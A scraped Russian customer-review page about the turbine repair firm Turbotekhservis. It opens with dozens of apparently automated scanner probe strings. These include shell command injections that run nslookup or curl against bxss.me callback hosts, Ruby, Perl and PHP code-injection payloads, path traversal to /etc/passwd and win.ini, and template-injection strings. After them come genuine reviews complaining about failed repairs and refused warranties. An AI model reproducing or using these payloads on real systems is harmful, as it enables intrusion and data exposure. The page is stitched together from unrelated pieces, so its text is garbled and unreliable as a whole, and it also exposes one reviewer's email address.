Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
андрей
22.03.2017
Превез на ремонт рабочею турбуну, Ремонт стоил 15000т.р. После ремонта не отходила и 50км. В гарантии отказали. Больше туда не приеду, Советовать это сервиз ни кому не буду.
Плеханин Михаил
27.08.2015
Пассат начал гнать бело-синий дым со специфическим запахом. В СТО сказали, что виновата турбина и в зависимости от серьезности повреждений надо решать менять или ремонтировать. Снял турбину (вся в масле) и отвез в Турботехсервис на Развилку. Мастера посмотрели, объяснили причину поломки турбины (перегрел машину и не дал остыть турбине, сразу заглушил), сказали, что ремонту подлежит и забрали ее на два дня. Турбину вернули в срок, с инструкцией по установке и рекомендацией по смене масла. Так же порекомендовали обратиться в СТО, дабы проверить не привела ли поломка турбины к другим повреждениям. Рекомендации выполнил и теперь со спокойной душой езжу на Пассате, который в мощности после ремонта не потерял.
Павел
08.07.2015
Езжу на Ford Excursion 4x4, около двух месяцев назад с ним стали происходить некоторые метаморфозы - появился скрежет из под капота, непонятно с какой стороны, машина начала дергаться и плевать черным дымом. При по динамике то все в норме, то вообще никак, едет, не едет и это при движке в 6 литров. Поехал к мастерам, и компьютер с умным видом подключали и катались, толком ничего не сказали, погрешили на ходовую, да коробку, в общем поменяли они полностью ходовую, масла и т. п. Выехал проехал сто метров и опять двадцать пять. Посидел на форумах и решил проверить турбину. Снял и отвез ее на Развилку в Турботехсервис, там посмотрели, сказали нужен Ремкомплект из штатов (за смешные двадцать долларов) и все исправят. Приехал через неделю уже с Ремкомплектом, сделали за час с чем-то, дали инструкцию по установке турбины на место. Значит поставил я эту турбину, и все! Машина едет, все 6 турбированных литров, кстати и расход снизился, спасибо интернету и мастерам из Турботехсервиса.
Симоненко Евгений
12.06.2015
Машина сильно сбавила в мощности, в начале это не доставляло дискомфорта, но все же это было заметно. В станции техобслуживания сказали, что проблема в турбине, снял турбину и привез в турботехсервис. После диагностики сказали, что могут ее починить, но в любом случае свое она уже отработала, предложили приобрести такую же или аналог, рассказали про достоинства аналога. Выбрал аналог, договорились об оплате и доставке, привезли в обговоренные сроки, доставка была бесплатной, доволен, что обратился в Турботехсервис.
Андрей
26.05.2015
Хочу оставить отзыв о Турботехсервисе на Развилке, только не той, что сразу при въезде (300 м. от Каширки), а дальше, на базе "Газинком". На Опель Виваро стуканул движок. Причина в турбине. Отвез на ремонт. Объявили 14200 руб. Ладно, сделали - забрал. Поменял движок, поехал. Через несколько дней движок затарахтел, отволокли на сервис. Причина - турбина гонит масло ручьем. Сняли, отвез опять в Турботехсервис. Приемщик Владимир улыбается, показывает: "Видишь с горячей стороны прокладки сгорели, форсунки переливают, привози их на диагностику и обязательно вместе с ТНВД, а за турбину сделаем скидку за 9800 переберем". На сервисе: "ТНВД нормальное, работает пока и пусть работает", короче поворчали сняли ТНВД. Отвез. Далее звонок Владимира: "Турбина готова. Ремонт ТНВД будет стоить 47000 руб." (на разборке 5 тыс. б/у), ". а форсунки по 9800 за штуку". Я в ответ: "форсунки оставьте себе, а ТНВД я заберу". "Забирай". Приехал, забрал турбину, ТНВД лежит разобранная. Владимир: "Чтобы забрать ТНВД плати 3000 за диагностику, но только собирать мы её не будем, потому, что она не исправна, вот видишь вал выработан" (сразу вспомнил мультфильм про Простоквашино). На этом с Турботехсервисом наша дружба закончилась. Взял недостающее на разборке. Все поставили. Итог турбина гонит масло. Сразу, без пробега. Вывод: неплохо проспонсировал шарагу, да и автосервис тоже за двойную работу. Так, что если человек ищет себе проблемы на ровном месте, может обращаться.
Сергей Арпин
20.05.2015
Недавно мой железный конь начал терять мощь, заметил, что порой машине не хватает тяги, и в обгон уже не так резво идет как раньше. Так как электроника не показала никаких ошибок, решил проверить турбину и отдал ее в руки мастеров Турботехсервис. Оказалось ничего серьезного, закоксование корпуса, мастера исправили проблему и выдали турбину с инструкцией по установке. Теперь авто летает как и раньше.
Maks
30.04.2015
Покупал картридж турбины через РемТурбоСервис, Белгород. Пришло непонятно, что без каких-либо меток. Меня заверили, что все в порядке, выбора особо не было, машина уже разобрана поэтому установил. Проехал 2000 км турбина погнала масло, отправил на дефектовку заверяют, что все ок! и ни денег, ни картридж мне не вернули. Дело было в декабре 2014, на машину поставил другую з/ч и все наладилось. Кроме нерешенного вопроса с картриджем. Решил этим заняться плотнее и наконец-то 30 апреля 2015 трубку вместо привычного Дениса взяла женщина, представилась ГЕНЕРАЛЬНЫМ директором, я сначала обрадовался думал сейчас все решится! Но не тут то было) эта тетя стала на меня наезжать почему я им названиваю, пишу и требую, и вообще Я во всем виноват. Вообщем конструктивного (да и вообще учитывая манеру общения этой преславутой директрисы - никакого) разговора не вышло. На меня наехали и бросили трубку. Конечно виноват сам, что связался с этой унылой конторкой. Будте бдительны! Мне это стоило 15000 руб.!
Василий Селиванов
23.04.2015
Значит, идет моей БМВ пятый год, все было хорошо, но после затяжной поездки по России (порядка 2 тысяч км разом) появились проблемы. Уже и не летаем как раньше, дай Бог 3 тысячи оборотов выдаст, на холостых больше, но дым из глушителя черный. По возвращению в Москву отвез в Турботехсервис. Мастера покопались пару часов и нашли проблему что-то не так пошло с геометрией, вроде как шток сбой дал, а может и не он, не помню. В общем, проблему исправили, самой вероятной причиной назвали некачественное топливо. Теперь моя машина летает как раньше.
Дмитрий Бардаков
01.04.2015
Заказывал турбину фирмы Mitsubishi для своей машины, оформил заказ на самовывоз через два. Приехал, все готово, пообщался ещё с мастером на тему данной турбины, поговорили об особенностях, персонал доброжелательный, толковый. Все понравилось, если не дай Бог что-то и ремонтировать здесь буду.
Андрей
24.06.2013
Имея в собственности Gассат б-5 столкнулся с проблемой: честно отслужив 275000 умерла турбина! Обратился в "Nурботехсервис", т. к. машину через год собираюсь продавать? решил приобрести ремонтную? якобы? как новая? только в старом корпусе. Отдал 12000 руб. за неё? за мою дали 2000 руб. Разобрав сказали, что ось перегретая у вас похоже льёт форсунка. Комплексная диагностика двигателя в сервисе? где снимали турбину показала, что всё работает ровно! А причиной выхода из строя стало то, что она пережила гарантированный заводом изготовителем ресурс на 25 тыс. км. В общем установили эту ремонтную турбу, как положено по регламенту: с промывкой чисткой патрубков трубок интеркулера заменили масло и все фильтры прокладки на оригинальные! Обошлось удовольствие в 15000 руб., кроме стоимости турбины. 1000 км. ездил до 1800-2000 об. турбина работала, но чересчур громко свистела, я не обратил внимания, т. к. решил, что это нормально, не новая же всё таки. После обкатки поехал как обычно 2500-3000 оборотов, проехав 500 км. турбина сдохла (синий дым, пропала тяга, масло ручьём в патрубки, по ним в двигатель). Снова машина в сервисе, я с турбиной в эту шарагу! Разобрали и говорят, что это не гарантийный случай она рассыпалась потому, что недостаточно смазывалась, мол перегрелась и заклинила (реально же: ось турбины явно обломана без следов перегрева), короче НИЧЕГО они там не умеют балансировать! НЕТ у них нормального оборудования для ремонта турбин! Жаль, что раньше не догадался отзывы почитать. А мне пришлось купить новую турбину за 25000 р. За ту ремонтную, купленную у них они же, мне предложили всего 300 руб.
Бодров Андрей
15.08.2012
Полтора месяца назад у меня на Ауди появился странный свист-вой в турбине (турбина стоит Гаррет), я приехал в своем регионе в "Турботехсервис". Они приговорили турбину и сказали, что нужен ремонт (15000 р.), либо новую ставить (38000 р.), но я выбрал меньшее из двух зол - ремонт! Через неделю они мне позвонили и сказали, что машина готова, можете приезжать и забирать. После того, как я забрал, я проехал ровно 60 км. и у меня пошел сильный синий дым из выхлопной трубы. На следующий день я позвонил в сервис и предъявил претензии им по ремонту турбины, после чего они мне сказали, что машину надо тащить к ним и потом уже разбираться. В дальнейшем они машину привезли на эвакуаторе к себе в сервис за свой же счет и отправили турбину на экспертизу. Экспертиза показала, что в турбину попало инородное тело и сломало вал пополам и это не гарантийный случай, после чего мне ремонт оплатил тот, кто ее устанавливал на машину.))) Но это еще не все. После того, как они ее опять сделали, я приехал забрал машину и через два дня она опять разлетелась (заклинила) через 150 км. Мне в сервисе сняли турбину и я ее отвез опять к ним. Теперь экспертиза показала, что вина в том, что у меня в двигателе маленькое давление масла, но в сервисе, где стоит машина это все проверили и сказали, что это не так и выдали мне полную диагностику двигателя. Теперь я собираюсь купить б/у турбину, собрать все документы, чеки и подать на них в суд! Много я на них затратил времени, нервов и денег!
Дмитрий
21.04.2012
Позвонил по указанному номеру на сайте. Ответили мне по-хамски.. Но я все же решил приехать и купить турбинку на мой пыжик.., т. к. предложили хороший прайс. В итоге, втюхали мне ремонт вместо новой! Я по доброте душевной не вскрывал коробку, а когда приехал в сервис и увидел все это дело.. вернулся, но меня не пустили на территорию. На звонки не отвечают! Ребята, с таким отношением к клиентам далеко не уедете..
Петрыкин Андрей
31.05.2011
Работаю с этим сервисом уже пять лет, ремонтные ходят даже лучше, главное, чтобы движка в поряде была и мозги у водилы.
Сергей
10.12.2009
Купил я восстановленную турбину в конторе под названием Турботехсервис. У нас в городе есть его представительство. Ставилась она у официалов (так требовала инстукция продавцов). Поставили, поехал домой. До дома не доехал нормально - задымила машинка сильно (была моя тема). На следующий день отогнал ее к себе на СТО. Осмотрел машинку повнимательней и увидел полный глушитель масла. Пригласил представителя Турботехсервиса. Тот осмотрел и вынес вердикт - дефект турбины. Хотел отдать денег за нее, но передумал или пожалел. Забрал турбину и отправил ее в Москву к себе на завод на экспертизу. Ответ пришел с Москвы довольно быстро. Оказывается у меня в двиге по их словам присутствует эмульсия в масле. И это обстоятельство вроде как повлияло на турбину и она сносилась ПОЛНОСТЬЮ за каких то 40 км. Вал болтался на ней так, как будто машинка проехала тысяч 150-200 км. Эмульсии я в двиге не наблюдал ни разу, представитель тоже это видел, но ничего не сказал. Кстати двигатель был перебран буквально 300 км назад. Короче в гарантийном ремонте отказали и послали буквально на хрен. Я конечно сильно на них обиделся и накатал исковое заявление в мировой суд. В своем иске указал, что бракованная турбина повлекла за собой кончину катализатора и лямбду-зонд. Катализатор был куплен и установлен. Предоставил все чеки. Цена иска составила 50 тысяч рублей (стоимость самой турбины 12.500). Представитель Турботехсервиса на суде всячески убеждал судью, что турбина не может быть неисправной никогда и повреждения ей нанес неисправный двиг и неправильная установка с нарушением технологии, в чем я поначалу очень сомневался. Установщики турбины тоже были вызваны в суд и показали, что турба устанавливалась согласно требованиям завода изготовителя. Поняв, что сражаться становиться сложно и против фактов идти трудно, Турботехсервис пошел на уступки. Тем более замаячила перспектива дорогостоящей технической экспертизы. Мне предложили абсолютно новую турбину в качестве компенсации. На что я, поколебавшись, почти согласился. Но потом отказался, потребовав денег. После переговоров договорились о сумме в 25 тысяч. Можно было идти до конца, но замаячили перспективы вообще ничего не получить с Турботехсервиса из-за того, что установщики нарушили технологию. Я это дело просек и вынужден был хоть что-то взять пока давали. Иначе можно было бы менять ответчика и начинать все снова. Мне здесь в форуме говорили, что бесполезно в судах тягаться по турбинам. Однако получается можно. И даже есть относительно положительный результат. Затраченные деньги я вернул. Потерянное время и нервы вернуть невозможно.
Ремонтировал в Турботехсервисе турбину на СААБ 9000 два раза, и оба неудачно. Очень красиво все рассказывают, качество хромает. Больше не экспериментирую.
Делал ремонт турбины гаррет на сканию в турботехсервисе, замена картриджа 18500руб, турбина отработала всего 2 дня, когда привез, они стали ссылаться на все видимые и невидимые причины, сказали, что это не гарантийный случай. Отвез я турбину в Москву к другим спецам и выяснил, что на турбину гарретт поставили сердцевину с другой турбины холсет, она вообще туда не должна становиться и скорее всего китайские по 3 копейки. В Турботехсервис теперь ни ногой!
28.04.2015 г. обратился к ним с просьбой отремонтировать одну из турбин (стоит битурбо, машина МАН ТГЛ). При дефектовке сказали, что все требуется менять и я согласился, тут они сказали, что и вторую тоже надо ремонтировать, но ее только проточат и втулки поменяют (ремонт первой 20 000 р., второй 10 000) и тут-то я дурак повелся (вторая была сухая и проблем до этого не было, но они расписали так, что я повелся на их предупреждения: типа скоро она тоже накроется и утянет отремонтированную турбину за собой и я попаду на бабки). В итоге, мне "отремонтировали" обе за 30 000 руб. и я довольный уехал ставить (когда отдавали мне, то я спросил по поводу условий установки, на, что мне сказали ставь сам, самое главное поменяй масло и фильтра и обрати внимание на прокладки (все требования я выполнил беспрекословно!) Но радовался я буквально км. 100 примерно, а дальше потихоньку стало кидать масло и во впускной и в выхлопной коллектор, а чуть позднее при торможении "горным тормозом" стало выдавливать масло с сапуна (позднее при многочисленных диагностиках, опытным путем я выяснил, что при закрытии заслонки выхлопные газы прорываются по валу турбины в картер двигателя). Стал звонить с претензией, но все нюансы сразу не раскрыл, в итоге, звонил четыре раза и каждый раз разную версию неисправности им рассказал и каждый раз они выкручивались как могли (то сапун забит, то фильтр надо поменять, то глушитель, то требуется капиталка двигателя, но когда я сказал, что поменял отремонтированную ими турбину на другую снятую с другого авто и все стало нормально, они опять сказали предоставьте все документы на установку (авторизованного центра), а так же заключение с указанием неисправности турбины. В общем, мне надоело слушать их пустой треп и я плюнул на них. Ребята, не обращайтесь к ним не в коем случае! Я с ними и переписывался, и разговаривал по телефону (все записи и переписки сохранил), но менеджер Владимир открестился от своих брехливых слов. Не верьте им, они только сказки красиво рассказывают, а как оплатите, так пнут вас пинком. Я реальный был клиент и не скрываюсь, вот мой контакт кому нужен: elro81@yandex.ru. Бегите подальше от этой шарашконторы!
